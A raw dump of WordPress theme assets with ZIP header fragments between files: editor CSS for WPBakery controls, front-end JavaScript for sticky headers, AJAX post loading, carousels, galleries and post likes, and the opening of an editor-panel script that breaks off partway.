.pc-field-devices > span[data-value="desktop"]:before, .pc-tabs.pc-style-devices [data-value="desktop"].pc-set-item:before, .vc_column.pc-custom-width [data-value="desktop"].vc-button-set-item:before, .pc-spacing-devices > span[data-value="desktop"]:before {
	content: "\f472";
}
.pc-field-devices > span[data-value="tablet"]:before, .pc-tabs.pc-style-devices [data-value="tablet"].pc-set-item:before, .vc_column.pc-custom-width [data-value="tablet"].vc-button-set-item:before, .pc-spacing-devices > span[data-value="tablet"]:before {
	content: "\f471";
}
.pc-field-devices > span[data-value="mobile"]:before, .pc-tabs.pc-style-devices [data-value="mobile"].pc-set-item:before, .vc_column.pc-custom-width [data-value="mobile"].vc-button-set-item:before, .pc-spacing-devices > span[data-value="mobile"]:before {
	content: "\f470";
}
.pc-responsive-spacing[data-device] .vc_content i {
	background: none !important;
	line-height: 32px;
}
.pc-responsive-spacing[data-device] .vc_content i:before {
	content: "\f470";
	color: #C9C9C9;
	font-style: normal;
	font-size: 26px;
	font-family: "dashicons";
}
.pc-responsive-spacing[data-device="tablet"] .vc_content i:before {
	content: "\f471";
}
.pc-responsive-spacing[data-device="mobile"] .vc_content i:before {
	content: "\f470";
}
.pc-spacing-devices {
	position: absolute;
	top: 35px;
	left: 80px;
	background-color: transparent;
}
.pc-spacing-devices > span .vc-composer-icon {
	margin-right: 5px;
	font-weight: 400;
}
.pc-spacing-devices span span {
	font-size: 13px;
}
.wpb_el_type_penci_responsive_spacing {
	margin-bottom: 0 !important;
}
.wpb_el_type_penci_responsive_spacing.vc_col-xs-12 {
	position: static;
}
.pc-responsive-spacing[data-device] .vc_content i {
	background: none !important;
	line-height: 32px;
}
.pc-responsive-spacing[data-device] .vc_content i:before {
	content: "\f470";
	color: #C9C9C9;
	font-style: normal;
	font-size: 26px;
	font-family: "dashicons";
}
.pc-responsive-spacing[data-device="tablet"] .vc_content i:before {
	content: "\f471";
}
.pc-responsive-spacing[data-device="mobile"] .vc_content i:before {
	content: "\f470";
}
.vc_layout-onion {
	margin-top: 15px;
}
.vc_layout-onion:not(.pc-active) {
	visibility: hidden;
	opacity: 0;
}
.vc_layout-onion.pc-active {
	transition: all .6s ease;
}
.vc_edit-form-tab .vc_layout-onion {
	position: absolute;
	top: 30px;
	left: 0;
	margin-top: 0;
}
.vc_wrapper-param-type-css_editor div.vc_settings {
	position: static;
	margin-left: 55%;
}
.vc_layout-onion.vc_col-xs-7.pc-responsive-spacing {
	top: 70px;
	left: 20px;
}
.vc_wrapper-param-type-css_editor > .wpb_element_label {
	display: none;
}
.penci-td-content .vc_autocomplete-field .vc_autocomplete {
	display: flex;
	align-items: center;
	flex-wrap: wrap;
}
.penci-td-content .loop_params_holder {
	margin-bottom: 15px;
}
.vc_ui-panel-window-inner {
	width: 100%;
	max-width: 1200px;
}
.vc_wrapper-param-type-google_fonts .vc_column + .vc_column {
	margin-top: 15px;
}
label:has(input[value="e-landing-page"]) {
	display: none;
}
PK     0w\1eg  g  #  js_composer/assets/page_editable.jsnu [        var vc_iframe = vc_iframe || {}
!function ( $ ) {
	'use strict'
	var PENCI = PENCI || {}
	PENCI.sticky = {
		init: function () {

			PENCI.sticky.stickySidebar()
			PENCI.sticky.headerSticky()
			PENCI.sticky.headerMobileSticky()

			$( window ).on( 'resize', function () {
				$( '.site-header' ).unstick()

				PENCI.sticky.headerSticky()

				if ( !$( '.penci-header-mobile' ).hasClass( 'mobile' ) ) {
					$( '.penci-header-mobile' ).unstick()
					PENCI.sticky.headerMobileSticky()
				}
			} )
		},


		headerSticky: function () {
			if ( !$( 'body' ).hasClass( 'header-sticky' ) || !$().sticky || $( window ).width() < 1024 ) {
				return
			}

			$( '.site-header' ).sticky( {
				topSpacing: (
					$( '#wpadminbar' ).length ? $( '#wpadminbar' ).height() : 0
				),
			} )
		},
		headerMobileSticky: function () {

			if ( !$( 'body' ).hasClass( 'header-sticky' ) || !$().sticky || $( window ).width() > 1024 ) {
				return false
			}
			var offset = $( '#wpadminbar' ).length && $( window ).width() > 480 ? $( '#wpadminbar' ).height() : 0

			$( '.penci-header-mobile' ).sticky( {
				topSpacing: offset,
				className: 'mobile-is-sticky',
				wrapperClassName: 'mobile-sticky-wrapper',
			} )

			return false
		},
		stickySidebar: function () {

			if ( !$( 'body' ).hasClass( 'penci_sticky_content_sidebar' ) || !$().theiaStickySidebar || $( window ).width() < 992 ) {
				return false
			}

			var top_margin = $( '.site-header' ).data( 'height' )

			$( '.penci-sticky-sidebar, .penci-sticky-content, .penci_vc_sticky_sidebar .penci-content-main, .penci_vc_sticky_sidebar .widget-area' ).theiaStickySidebar( {
				// settings
				additionalMarginTop: top_margin,
				additionalMarginBottom: 0,
			} )
		},
	}
	PENCI.penciVideo = function () {

		if ( $().magnificPopup ) {
			$( '.penci-popup-video' ).magnificPopup( {
				type: 'iframe',
				mainClass: 'mfp-fade',
			} )
		}

	}
	PENCI.toggleSocialMedia = function () {
		var $socialToggle = $( '.social-buttons__toggle' ),
			socialButtons = $( '.penci-block-vc .social-buttons' )

		$socialToggle.on( 'click', function ( e ) {
			e.preventDefault()

			socialButtons.removeClass( 'active' )

			var socailMedia = $( this ).closest( '.social-buttons' )

			if ( socailMedia.hasClass( 'active' ) ) {
				socailMedia.addClass( 'pbutton_close_click' ).removeClass( 'active' )

				setTimeout( function () {
					socailMedia.removeClass( 'pbutton_close_click' )
				}, 400 )
			}
		} )

		$( '#page' ).on( 'click', function ( e ) {

			if ( socialButtons.hasClass( 'active' ) ) {
				socialButtons.removeClass( 'active' )
			}
		} )

		$socialToggle.on( 'mouseover touchstart', function () {
			var $this = $( this ),
				parent = $this.parent()

			if ( parent.hasClass( 'active' ) ) {
				return false
			}

			socialButtons.removeClass( 'active' )
			parent.addClass( 'active' )

		} )
	}
	PENCI.popupGallery = function () {
		if ( !$().magnificPopup ) {
			return false
		}

		$( '.penci-image-popup-no-margins' ).magnificPopup( {
			type: 'image',
			closeOnContentClick: true,
			closeBtnInside: false,
			fixedContentPos: true,
			mainClass: 'mfp-no-margins mfp-with-zoom', // class to remove default margin from left and right side
			image: {
				verticalFit: true,
			},
			zoom: {
				enabled: true,
				duration: 300, // don't foget to change the duration also in CSS
			},
		} )

		$( '.popup-gallery-slider a' ).magnificPopup( {
			type: 'image',
		} )


		$( '.penci-popup-gallery' ).each( function () {
			var $this = $( this ),
				id = $this.attr( 'id' )

			$( '#' + id + ' a' ).magnificPopup( {
				type: 'image',
				closeOnContentClick: true,
				closeBtnInside: false,
				fixedContentPos: true,
				image: {
					verticalFit: true,
				},
				gallery: {
					enabled: true,
				},
				zoom: {
					enabled: false,
					duration: 300,
				},
			} )
		} )
	}
	PENCI.ajaxDoBlockRequest = {
		// Init the module
		init: function () {
			PENCI.ajaxDoBlockRequest.link()
			PENCI.ajaxDoBlockRequest.nextPrev()
			PENCI.ajaxDoBlockRequest.loadMore()
			PENCI.ajaxDoBlockRequest.infinityScroll()
			PENCI.ajaxDoBlockRequest.megamenu()
		},
		megamenu: function () {

			$( 'body' ).on( 'click', '.penci-mega-pag', function ( event ) {
				event.preventDefault()

				if ( $( this ).hasClass( 'penci-pag-disabled' ) ) {
					return false
				}

				var currentBlockObj = $( this ).data( 'block_id' ),
					$currentBlockObj = $( '#' + currentBlockObj ),
					$blockVC = $currentBlockObj.closest( '.penci-mega-row' ),
					dataFilter = $blockVC.data( 'atts_json' ),
					paged = $blockVC.attr( 'data-current' ),
					blockHeight = $currentBlockObj.height(),
					$is_cache = false

				var OBjBlockData = PENCI.ajaxDoBlockRequest.getOBjBlockData( $blockVC.attr( 'data-blockUid' ) )
				dataFilter = OBjBlockData.atts_json ? JSON.parse( OBjBlockData.atts_json ) : OBjBlockData.atts_json

				if ( $( this ).hasClass( 'penci-slider-next' ) ) {
					paged ++
				}

				if ( $( this ).hasClass( 'penci-slider-prev' ) ) {
					paged --
				}

				$blockVC.find( '.penci-block-pag' ).removeClass( 'penci-pag-disabled' )

				// Fix height block
				$currentBlockObj.css( 'min-height', blockHeight + 'px' )

				var data = {
					action: 'penci_ajax_mega_menu',
					datafilter: dataFilter,
					paged: paged.toString(),
					styleAction: 'next_prev',
					nonce: PENCILOCALIZE.nonce,
				}

				var currentBlockObjSignature = JSON.stringify( data )

				if ( PENCILOCALCACHE.exist( currentBlockObjSignature ) ) {
					var responseData = PENCILOCALCACHE.get( currentBlockObjSignature )

					$is_cache = true
					setTimeout( function () {
						$blockVC.attr( 'data-current', paged )
						$currentBlockObj.html( responseData.items ).removeClass( 'ajax-loading' )

						PENCI.ajaxDoBlockRequest.animateMegaLoadITems( $currentBlockObj, $is_cache )
						PENCI.ajaxDoBlockRequest.hidePag( $blockVC, responseData )
					}, 300 )

					return false
				}

				$currentBlockObj.addClass( 'ajax-loading' )

				$.post( PENCILOCALIZE.ajaxUrl, data, function ( response ) {
					$blockVC.attr( 'data-current', paged )


					$currentBlockObj.html( response.data.items )

					PENCI.ajaxDoBlockRequest.animateMegaLoadITems( $currentBlockObj, $is_cache )
					PENCI.ajaxDoBlockRequest.hidePag( $blockVC, response.data )
					PENCI.ajaxDoBlockRequest.saveAjaxData( currentBlockObjSignature, response.data )
				} )

				// Save items page 1 of block
				if ( 1 === paged - 1 ) {

					var dataFirstItems = {
						action: 'penci_ajax_mega_menu',
						datafilter: dataFilter,
						paged: '1',
						styleAction: 'next_prev',
						nonce: PENCILOCALIZE.nonce,
					}

					$.post( PENCILOCALIZE.ajaxUrl, dataFirstItems, function ( response ) {
						PENCI.ajaxDoBlockRequest.saveAjaxData( JSON.stringify( dataFirstItems ), response.data )
					} )
				}

			} )
		},
		link: function () {
			$( '.penci-subcat-link' ).click( function ( event ) {
				event.preventDefault()

				if ( $( this ).hasClass( 'active' ) ) {
					return false
				}

				var currentBlockObj = $( this ).data( 'block_id' ),
					$currentBlockObj = $( '#' + currentBlockObj ),
					$blockVC = $currentBlockObj.closest( '.penci-block-vc' ),
					blockHeight = $currentBlockObj.height(),
					$is_cache = false

				$blockVC.find( '.penci-subcat-link' ).removeClass( 'active' )
				$( this ).addClass( 'active clicked' )

				var dataFilter = $blockVC.data( 'atts_json' ),
					dataContent = $blockVC.data( 'content' ),
					filterValue = $( this ).data( 'filter_value' )

				var OBjBlockData = PENCI.ajaxDoBlockRequest.getOBjBlockData( $blockVC.attr( 'data-blockUid' ) )
				dataFilter = JSON.parse( OBjBlockData.atts_json )
				dataContent = OBjBlockData.content

				if ( filterValue ) {
					dataFilter['category_ids'] = filterValue.toString()
				}

				var data = {
					action: 'penci_ajax_block',
					datafilter: dataFilter,
					datacontent: dataContent,
					styleAction: 'link',
					nonce: PENCILOCALIZE.nonce,
				}

				// Fix height block
				$currentBlockObj.css( 'min-height', blockHeight + 'px' )

				var currentBlockObjSignature = JSON.stringify( data )

				if ( PENCILOCALCACHE.exist( currentBlockObjSignature ) ) {
					var responseData = PENCILOCALCACHE.get( currentBlockObjSignature )
					$is_cache = true
					setTimeout( function () {
						$blockVC.attr( 'data-atts_json', JSON.stringify( dataFilter ) ).attr( 'data-current', 1 )

						$currentBlockObj.html( responseData.items ).removeClass( 'ajax-loading' )

						PENCI.ajaxDoBlockRequest.animateLoadITems( $currentBlockObj, '1', $is_cache )
						PENCI.ajaxDoBlockRequest.hidePag( $blockVC, responseData )
					}, 300 )

					return false
				}

				$currentBlockObj.addClass( 'ajax-loading' )

				$.post( PENCILOCALIZE.ajaxUrl, data, function ( response ) {

					$blockVC.attr( 'data-atts_json', JSON.stringify( dataFilter ) ).attr( 'data-current', 1 )

					$currentBlockObj.html( response.data.items ).removeClass( 'ajax-loading' )

					PENCI.ajaxDoBlockRequest.animateLoadITems( $currentBlockObj, '1', $is_cache )
					PENCI.ajaxDoBlockRequest.hidePag( $blockVC, response.data )
					PENCI.ajaxDoBlockRequest.saveAjaxData( currentBlockObjSignature, response.data )
				} )

				// Save items page 1 of block
				var preFilterValue = $blockVC.find( '.penci-subcat-item-1' ).data( 'filter_value' )
				dataFilter['category_ids'] = preFilterValue ? preFilterValue.toString() : ''

				var dataFirstItems = {
					action: 'penci_ajax_block',
					datafilter: dataFilter,
					datacontent: dataContent,
					styleAction: 'link',
					nonce: PENCILOCALIZE.nonce,
				}

				var currentBlockObjFirstItems = JSON.stringify( dataFirstItems )

				if ( filterValue && !PENCILOCALCACHE.exist( currentBlockObjFirstItems ) ) {
					$.post( PENCILOCALIZE.ajaxUrl, dataFirstItems, function ( response ) {

						PENCI.ajaxDoBlockRequest.saveAjaxData( currentBlockObjFirstItems, response.data )
					} )
				}
			} )
		},
		nextPrev: function () {
			$( 'body' ).on( 'click', '.penci-block-pag', function ( event ) {
				event.preventDefault()

				var start = new Date().getTime()
				if ( $( this ).hasClass( 'penci-pag-disabled' ) ) {
					return false
				}

				var currentBlockObj = $( this ).data( 'block_id' ),
					$currentBlockObj = $( '#' + currentBlockObj ),
					$blockVC = $currentBlockObj.closest( '.penci-block-vc' ),
					dataContent = $blockVC.data( 'content' ),
					dataFilter = $blockVC.data( 'atts_json' ),
					paged = $blockVC.attr( 'data-current' ),
					filterValue = $blockVC.find( '.penci-subcat-link.active' ).data( 'filter_value' ),
					blockHeight = $currentBlockObj.height(),
					$is_cache = false


				var OBjBlockData = PENCI.ajaxDoBlockRequest.getOBjBlockData( $blockVC.attr( 'data-blockUid' ) )

				dataFilter = OBjBlockData.atts_json ? JSON.parse( OBjBlockData.atts_json ) : OBjBlockData.atts_json
				dataContent = OBjBlockData.content

				if ( filterValue ) {
					dataFilter['category_ids'] = filterValue.toString()
				}

				if ( $( this ).hasClass( 'penci-slider-next' ) ) {
					paged ++
				}

				if ( $( this ).hasClass( 'penci-slider-prev' ) ) {
					paged --
				}

				$blockVC.find( '.penci-block-pag' ).removeClass( 'penci-pag-disabled' )

				// Fix height block
				$currentBlockObj.css( 'min-height', blockHeight + 'px' )

				var data = {
					action: 'penci_ajax_block',
					datafilter: dataFilter,
					paged: paged.toString(),
					styleAction: 'next_prev',
					datacontent: dataContent,
					nonce: PENCILOCALIZE.nonce,
				}

				var currentBlockObjSignature = JSON.stringify( data )

				if ( PENCILOCALCACHE.exist( currentBlockObjSignature ) ) {

					var responseData = PENCILOCALCACHE.get( currentBlockObjSignature )
					$is_cache = true

					$blockVC.attr( 'data-current', paged )

					var content = jQuery( responseData.items )
					$currentBlockObj.html( content )

					PENCI.ajaxDoBlockRequest.animateLoadITems( $currentBlockObj, paged, $is_cache )
					PENCI.ajaxDoBlockRequest.hidePag( $blockVC, responseData )

					return false
				}

				$currentBlockObj.addClass( 'ajax-loading' )

				$.post( PENCILOCALIZE.ajaxUrl, data, function ( response ) {

					$blockVC.attr( 'data-current', paged )

					var content = jQuery( response.data.items )
					$currentBlockObj.html( content )
					PENCI.ajaxDoBlockRequest.animateLoadITems( $currentBlockObj, paged, $is_cache )
					PENCI.ajaxDoBlockRequest.hidePag( $blockVC, response.data )
					PENCI.ajaxDoBlockRequest.saveAjaxData( currentBlockObjSignature, response.data )

				} )

				// Save items page 1 of block
				if ( 1 === paged - 1 ) {

					var dataFirstItems = {
						action: 'penci_ajax_block',
						datafilter: dataFilter,
						paged: '1',
						styleAction: 'next_prev',
						datacontent: dataContent,
						nonce: PENCILOCALIZE.nonce,
					}

					$.post( PENCILOCALIZE.ajaxUrl, dataFirstItems, function ( response ) {
						PENCI.ajaxDoBlockRequest.saveAjaxData( JSON.stringify( dataFirstItems ), response.data )
					} )
				}

			} )
		},
		loadMore: function () {
			$( 'body' ).on( 'click', '.penci-block-ajax-more-button', function ( event ) {
				PENCI.ajaxDoBlockRequest.actionLoadMore( $( this ) )
			} )
		},

		infinityScroll: function () {
			var $this_scroll = $( '.penci-block-ajax-more-button.infinite_scroll' )

			if ( !$this_scroll.length ) {
				return false
			}

			$( window ).on( 'scroll', function () {
				var hT = $this_scroll.offset().top,
					hH = $this_scroll.outerHeight(),
					wH = $( window ).height(),
					wS = $( this ).scrollTop()

				if ( wS > (
					hT + hH - wH
				) ) {

					PENCI.ajaxDoBlockRequest.actionLoadMore( $this_scroll )
				}
			} ).trigger( 'scroll' )
		},
		getOBjBlockData: function ( $blockID ) {
			var $obj = new penciBlock()
			$.each( penciBlocksArray, function ( index, block ) {

				if ( block.blockID === $blockID ) {
					$obj = penciBlocksArray[index]
				}
			} )

			return $obj
		},

		actionLoadMore: function ( $this ) {

			if ( $this.hasClass( 'loading-posts' ) ) {
				return false
			}

			var mes = $this.data( 'mes' ),
				currentBlockObj = $this.data( 'block_id' ),
				$currentBlockObj = $( '#' + currentBlockObj ),
				$ajaxLoading = $currentBlockObj.find( '.penci-loader-effect' ),
				$blockVC = $currentBlockObj.closest( '.penci-block-vc' ),
				$contentItems = $currentBlockObj.find( '.penci-block_content__items' ),
				dataFilter = $blockVC.data( 'atts_json' ),
				dataContent = $blockVC.data( 'content' ),
				filterValue = $blockVC.find( '.penci-subcat-link.active' ).data( 'filter_value' ),
				paged = $blockVC.attr( 'data-current' ),
				$is_cache = false

			var OBjBlockData = PENCI.ajaxDoBlockRequest.getOBjBlockData( $blockVC.attr( 'data-blockUid' ) )
			dataFilter = JSON.parse( OBjBlockData.atts_json )
			dataContent = OBjBlockData.content

			if ( filterValue ) {
				dataFilter['category_ids'] = filterValue.toString()
			}

			paged ++

			$this.addClass( 'loading-posts' )

			var data = {
				action: 'penci_ajax_block',
				datafilter: dataFilter,
				styleAction: 'load_more',
				paged: paged,
				datacontent: dataContent,
				nonce: PENCILOCALIZE.nonce,
			}

			$.post( PENCILOCALIZE.ajaxUrl, data, function ( response ) {

				if ( response.data.items ) {

					$ajaxLoading.remove()
					$currentBlockObj.append( response.data.items ).removeClass( 'ajax-loading' )
					$this.removeClass( 'loading-posts' )

				} else {
					$this.find( '.ajax-more-text' ).text( mes )
					$this.find( 'i' ).remove()
					$this.removeClass( 'loading-posts' )
					setTimeout( function () {
						$this.parent( '.penci-ajax-more' ).remove()
					}, 1200 )
				}

				$blockVC.attr( 'data-current', paged )
				PENCI.ajaxDoBlockRequest.animateLoadITems( $currentBlockObj, paged, $is_cache )
			} )
		},

		animateLoadITems: function ( $currentBlockObj, currentPage, $is_cache ) {
			var theBlockListPostItem = $currentBlockObj.find( '.penci-block-items__' + currentPage )

			// Animate the loaded items
			theBlockListPostItem.find( '.penci-post-item' ).velocity( { opacity: 0 } )
			$currentBlockObj.removeClass( 'ajax-loading' )
			theBlockListPostItem.find( '.penci-post-item' ).velocity( 'stop' ).velocity( 'transition.slideUpIn', {
				stagger: 100,
				duration: 500,
				complete: function () {
					$currentBlockObj.attr( 'style', '' )
					PENCI.ajaxDoBlockRequest.ajaxSuccess( $currentBlockObj, $is_cache )
				},
			} )

		},
		animateMegaLoadITems: function ( $currentBlockObj, $is_cache ) {
			// Animate the loaded items
			$currentBlockObj.find( '.penci-mega-post' ).velocity( { opacity: 0 } )
			$currentBlockObj.removeClass( 'ajax-loading' )
			$currentBlockObj.find( '.penci-mega-post' ).velocity( 'stop' ).velocity( 'transition.slideUpIn', {
				stagger: 100,
				duration: 200,
				complete: function () {
					PENCI.ajaxDoBlockRequest.ajaxSuccess( $currentBlockObj, $is_cache )
					$currentBlockObj.attr( 'style', '' )
				},
			} )
		},

		hidePag: function ( $blockVC, responseData ) {

			var $pagNext = $blockVC.find( '.penci-slider-next' ),
				$pagPrev = $blockVC.find( '.penci-slider-prev' ),
				$pagination = $blockVC.find( '.penci-pagination' )

			if ( responseData.hidePagNext ) {
				$pagNext.addClass( 'penci-pag-disabled' )
				$pagination.addClass( 'penci-ajax-more-disabled' )
			} else {
				$pagNext.removeClass( 'penci-pag-disabled' )
				$pagination.removeClass( 'penci-ajax-more-disabled' )
			}

			if ( responseData.hidePagPrev ) {
				$pagPrev.addClass( 'penci-pag-disabled' )
			} else {
				$pagPrev.removeClass( 'penci-pag-disabled' )
			}
		},

		ajaxSuccess: function ( $currentBlockObj, $is_cache ) {
			if ( !$is_cache ) {
				PENCI.penciLazy()
			}

			PENCI.general.fitvids( $currentBlockObj )
			PENCI.toggleSocialMedia()
			PENCI.popupGallery()
			PENCI.penciVideo()
			PENCI.sticky.stickySidebar()
			PENCI.EasyPieChart()
		},

		saveAjaxData: function ( key, data ) {

			var dataPost = data.items
			dataPost = dataPost.replace( /data-bgset="/g, 'style="background-image: url(' )
			dataPost = dataPost.replace( /" data-delay/g, ');" data-delay' )

			$.each( data, function ( index, value ) {
				if ( 'items' === index ) {
					data[index] = dataPost
				}
			} )

			PENCILOCALCACHE.set( key, data )
		},
	}
	PENCI.sliderOwl = function ( $item ) {
		$item.each( function () {
			var $this = $( this ),
				$penciBlock = $this.closest( '.penci-block-vc' ),
				$penciNav = $penciBlock.find( '.penci-slider-nav' ),
				$customNext = $penciBlock.find( '.penci-slider-next' ),
				$customPrev = $penciBlock.find( '.penci-slider-prev' ),
				$dataStyle = $this.data( 'style' ),
				$dataItems = $this.data( 'items' ),
				$dataAutoWidth = $this.data( 'autowidth' ),
				$dataAuto = $this.data( 'auto' ),
				$dataAutoTime = $this.data( 'autotime' ),
				$dataSpeed = $this.data( 'speed' ),
				$dataLoop = $this.data( 'loop' ),
				$dataDots = $this.data( 'dots' ),
				$dataNav = $this.data( 'nav' ),
				$dataCenter = $this.data( 'center' ),
				$dataVideo = $this.data( 'video' ),
				$dataVertical = $this.data( 'vertical' ),
				$dataMagrin = $this.data( 'magrin' ),
				$lazyLoad = true,
				$dataReponsive = {}

			if ( 2 === $dataItems ) {
				$dataReponsive = {
					0: { items: 1, autoWidth: false },
					480: { items: 2 },
				}
			}

			if ( (
				     3 === $dataItems || $this.hasClass( 'penci-related-carousel' )
			     ) && 'style-27' !== $dataStyle ) {
				$dataReponsive = {
					0: { items: 1, autoWidth: false },
					480: { items: 2, autoWidth: false },
					992: { items: 3 },
				}
			}

			if ( 4 === $dataItems ) {
				$dataReponsive = {
					0: { items: 1, autoWidth: false },
					480: { items: 2, autoWidth: false },
					960: { items: 3 },
					1100: { items: 4 },
				}
			}

			if ( 'style-7' === $dataStyle ) {
				$dataReponsive = {
					0: { items: 1, autoWidth: false },
					900: { items: 1, autoWidth: true },
				}
			}

			if ( 'style-18' === $dataStyle ) {
				$dataReponsive = {
					0: { items: 1, autoWidth: false },
					768: { items: 2, autoWidth: false },
				}
			}

			if ( 'style-10' === $dataStyle ) {
				$dataReponsive = {
					0: { items: 1, autoWidth: false },
					768: { items: 1, autoWidth: false },
					690: { items: 2 },
				}
			}

			if ( 1 === $dataAutoWidth && 'style-27' !== $dataStyle && 'style-7' !== $dataStyle ) {
				$dataReponsive = {
					0: { items: 1, autoWidth: false },
					480: { items: 2 },
					768: { items: 2 },
					992: { items: 3 },
				}
			}

			var owl_args = {
				loop: 1 === $dataLoop ? false : true,
				margin: $dataMagrin,
				items: $dataItems ? $dataItems : 3,
				navSpeed: $dataSpeed,
				dotsSpeed: $dataSpeed,
				nav: 1 === $dataNav ? true : false,
				dots: 1 === $dataDots ? true : false,
				navText: ['<i class="penciicon-left-chevron"></i>', '<i class="penciicon-right-chevron"></i>'],
				autoplay: 1 === $dataAuto ? true : false,
				autoplayTimeout: $dataAutoTime,
				autoHeight: false,
				center: 1 === $dataCenter ? true : false,
				autoWidth: 1 === $dataAutoWidth ? true : false,
				autoplayHoverPause: true,
				autoplaySpeed: $dataSpeed,
				video: 1 === $dataVideo ? true : false,
				animateOut: 1 === $dataVertical ? 'fadeOutRightNewsTicker' : false,
				animateIn: 1 === $dataVertical ? 'fadeInRightNewsTicker' : false,
				lazyLoad: $lazyLoad,
				responsive: $dataReponsive,
			}

			if ( $this.hasClass( 'penci-slider-fullscreen' ) ) {
				var slideHeight = parseFloat( $( window ).height() ),
					slidewidth = parseFloat( $( window ).width() ),
					sliderRatio = slideHeight / slidewidth * 100,
					sliderRatio = sliderRatio.toFixed( 2 ) + '%'

				$this.find( '.penci-slider__item' ).css( 'padding-top', sliderRatio )
			}

			$this.imagesLoaded( { background: '.penci-slider__item' }, function () {
				$( 'body' ).trigger( 'el_featured_slider' )
			} )

			$this.on( 'initialized.owl.carousel', function ( event ) {
				PENCI.penciLazy()

				var $jarallax = $this.find( '.penci-jarallax-slider' )

				if ( $jarallax.length ) {
					$jarallax.jarallax( { elementInViewport: $this, imgPosition: '30% 50%' } )
				}
			} )

			// Go to the next item
			$customNext.click( function ( ev ) {
				ev.preventDefault()
				$this.trigger( 'next.owl.carousel' )
				return false
			} )

			// Go to the previous item
			$customPrev.click( function ( ev ) {
				ev.preventDefault()
				$this.trigger( 'prev.owl.carousel' )
				return false
			} )


		} )
	},
		PENCI.Jarallax = function () {
			if ( !$.fn.jarallax || !$( '.penci-jarallax' ).length ) {
				return false
			}

			$( '.penci-jarallax' ).each( function () {
				var $this = $( this ),
					$jarallaxArgs = {}

				if ( $this.hasClass( 'penci-jarallax-inviewport' ) ) {
					var $parent = $this.closest( '.penci-owl-featured-area' )
					$jarallaxArgs = { elementInViewport: $parent, imgPosition: '30% 50%' }
				}

				$this.imagesLoaded( { background: true }, function () {
					jarallax( $this, $jarallaxArgs )
				} )


			} )
		},
		PENCI.postLike = function () {
			$( 'body' ).on( 'click', '.penci-post-like', function ( event ) {
				event.preventDefault()
				var $this = $( this ),
					post_id = $this.data( 'post_id' ),
					like_text = $this.data( 'like' ),
					unlike_text = $this.data( 'unlike' ),
					$selector = $this.children( '.penci-share-number' )

				var $like = parseInt( $selector.text() )

				if ( $this.hasClass( 'single-like-button' ) ) {
					$selector = $( '.single-like-button .penci-share-number' )
					$this = $( '.single-like-button' )
				}

				if ( $this.hasClass( 'liked' ) ) {
					$this.removeClass( 'liked' )
					$this.prop( 'title', like_text )
					$selector.html( (
						$like - 1
					) )
				} else {
					$this.addClass( 'liked' )
					$this.prop( 'title', unlike_text )
					$selector.html( (
						$like + 1
					) )
				}

				var data = {
					action: 'penci_post_like',
					post_id: post_id,
					penci_post_like: '',
					nonce: PENCILOCALIZE.nonce,
				}

				$.post( PENCILOCALIZE.ajaxUrl, data, function ( r ) {
				} )
			} )
		}
	PENCI.gallery = function () {
		var $justified_gallery = $( '.penci-post-gallery-container.justified' )
		var $masonry_gallery = $( '.penci-post-gallery-container.masonry' )
		if ( $().justifiedGallery && $justified_gallery.length ) {
			$( '.penci-post-gallery-container.justified' ).each( function () {
				var $this = $( this )
				$this.justifiedGallery( {
					rowHeight: $this.data( 'height' ),
					lastRow: 'nojustify',
					margins: $this.data( 'margin' ),
					randomize: false,
				} )
			} ) // each .penci-post-gallery-container
		}

		if ( $().isotope && $masonry_gallery.length ) {

			$( '.penci-post-gallery-container.masonry .item-gallery-masonry' ).each( function () {
				var $this = $( this )
				if ( $this.attr( 'title' ) ) {
					var $title = $this.attr( 'title' )
					$this.children().append( '<div class="caption">' + $title + '</div>' )
				}
			} )

			if ( $masonry_gallery.length ) {
				$masonry_gallery.each( function () {
					var $this = $( this )
					$this.imagesLoaded( function () {
						// initialize isotope
						$this.isotope( {
							itemSelector: '.item-gallery-masonry',
							transitionDuration: '.55s',
							layoutMode: 'masonry',
						} )

						$this.addClass( 'loaded' )

						$( '.penci-post-gallery-container.masonry .item-gallery-masonry' ).each( function () {
							var $this = $( this )
							$this.one( 'inview', function ( event, isInView, visiblePartX, visiblePartY ) {
								$this.addClass( 'animated' )
							} ) // inview
						} )
					} )
				} ) // each
			}
		}

	}
	PENCI.EasyPieChart = function () {

		$( '.penci-review-process' ).each( function () {
			var $this = $( this ),
				$bar = $this.children(),
				$bar_w = $bar.data( 'width' ) * 10
			$this.one( 'inview', function ( event, isInView, visiblePartX, visiblePartY ) {
				$bar.animate( { width: $bar_w + '%' }, 1000 )
			} ) // bind inview
		} ) // each

		if ( !$.fn.easyPieChart || !$( '.penci-piechart' ).length ) {
			return false
		}

		$( '.penci-piechart' ).each( function () {
			var $this = $( this )
			$this.one( 'inview', function ( event, isInView, visiblePartX, visiblePartY ) {
				var chart_args = {
					barColor: $this.data( 'color' ),
					trackColor: $this.data( 'trackcolor' ),
					scaleColor: false,
					lineWidth: $this.data( 'thickness' ),
					size: $this.data( 'size' ),
					animate: 1000,
				}
				$this.easyPieChart( chart_args )
			} ) // bind inview
		} ) // each
	}

	vc_iframe.penciSliders = function ( model_id ) {
		$( 'body' ).trigger( 'el_featured_slider' )
	}
}( window.jQuery )
PK     0w\=?0  0    js_composer/assets/vc-fields.jsnu [        (function ($) {
    var $panel = $('#vc_ui-panel-edit-element');
    $panel.on('vcPanel.shown', function () {

        if (typeof tinyMCE !== 'undefined') {
            if (tinyMCE.get('wpb_tinymce_content')) {
                var _formated_content = tinyMCE.get('wpb_tinymce_content').getContent();
                _formated_content = _formated_content.replace(/<\/p><p>\s<\/p>/g, '</p>');
            }
            tinyMCE.EditorManager.execCommand('mceRemoveEditor', true, 'wpb_tinymce_content');
        }

        var $wrapperPanel = $(this);

        $(document).ajaxComplete(function (event, request, settings) {
            $wrapperPanel.find('.post-types-list').each(function () {
                var $exlcude = ['e-landing-page', 'elementor_library', 'penci-block', 'web-story', 'product'],
                    $checkboxs = $(this).find('input');
                $checkboxs.each(function () {
                    if (jQuery.inArray($(this).val(), $exlcude) !== -1) {
                        $(this).closest('label').hide();
                    }
                });
            });
        });


        $('.penci-param-heading-wrapper').each(function () {
            var $divider = $(this);
            var $fields = $divider.nextUntil('.penci-param-heading-wrapper, .vc_shortcode-param.penci-vc-no-wrap');
            var $wrapper = $('<div class="penci-td-wrapper"></div>');
            var $content = $('<div class="penci-td-content"></div>');

            $divider.before($wrapper);
            $wrapper.append($divider);

            if ($fields.length) {
                $content.append($fields);
                $wrapper.append($content);
            }
        });

        $('.vc_edit-form-tab').each(function () {
            if (!$(this).find('.penci-param-heading-wrapper').length) {
                $(this).wrapInner("<div class='penci-td-wrapper no-head'></div>");
            }
        });

